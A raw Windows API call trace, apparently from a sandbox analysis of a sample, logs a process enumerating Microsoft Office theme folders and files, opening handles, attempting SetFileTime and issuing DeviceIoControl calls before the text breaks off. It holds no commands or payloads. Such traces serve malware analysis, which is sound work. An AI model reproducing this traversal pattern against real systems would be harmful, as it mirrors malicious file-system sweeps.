lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99314000, ftCreationTime.dwHighDateTime=0x1c6ba8b, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99314000, ftLastWriteTime.dwHighDateTime=0x1c6ba8b, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0072.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e94200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19e94200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0072.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0072.209] GetLastError () returned 0x12 [0072.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa77298) returned 1 [0072.209] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0072.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa773a0) returned 1 [0072.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa77190) returned 1 [0072.210] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="")) returned 1 [0072.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa77190 [0072.210] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0072.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0072.211] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0072.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa81b08 [0072.211] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa81b08, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa81b08, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0072.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa81b08) returned 1 [0072.211] NtClose (Handle=0x168) returned 0x0 [0072.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa77190) returned 1 [0072.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa750a0 [0072.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa77190 [0072.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa773a0 [0072.212] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0072.252] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x940000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.298] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x61c8a500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5261, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Adjacency.eftx", cAlternateFileName="")) returned 1 [0072.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa77298 [0072.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa750a0) returned 1 [0072.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e228 [0072.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa79f00 [0072.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.298] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c2c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x655c2c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6ae5, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Angles.eftx", cAlternateFileName="")) returned 1 [0072.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e248 [0072.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7a008 [0072.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.299] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x354c6, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Apex.eftx", cAlternateFileName="")) returned 1 [0072.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e268 [0072.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7a110 [0072.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.299] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f368c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f368c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbf81, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Apothecary.eftx", cAlternateFileName="")) returned 1 [0072.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e288 [0072.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7a218 [0072.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.300] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39bc200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x39bc200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x581a, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Aspect.eftx", cAlternateFileName="")) returned 1 [0072.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e2a8 [0072.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7a320 [0072.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.300] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ca1300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42ca1300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x696d, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Austin.eftx", cAlternateFileName="")) returned 1 [0072.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e2c8 [0072.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7a428 [0072.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.301] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68efb300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68efb300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96e87, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Black Tie.eftx", cAlternateFileName="")) returned 1 [0072.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.301] RtlAllocateHeap (HeapHandle=0x940000, 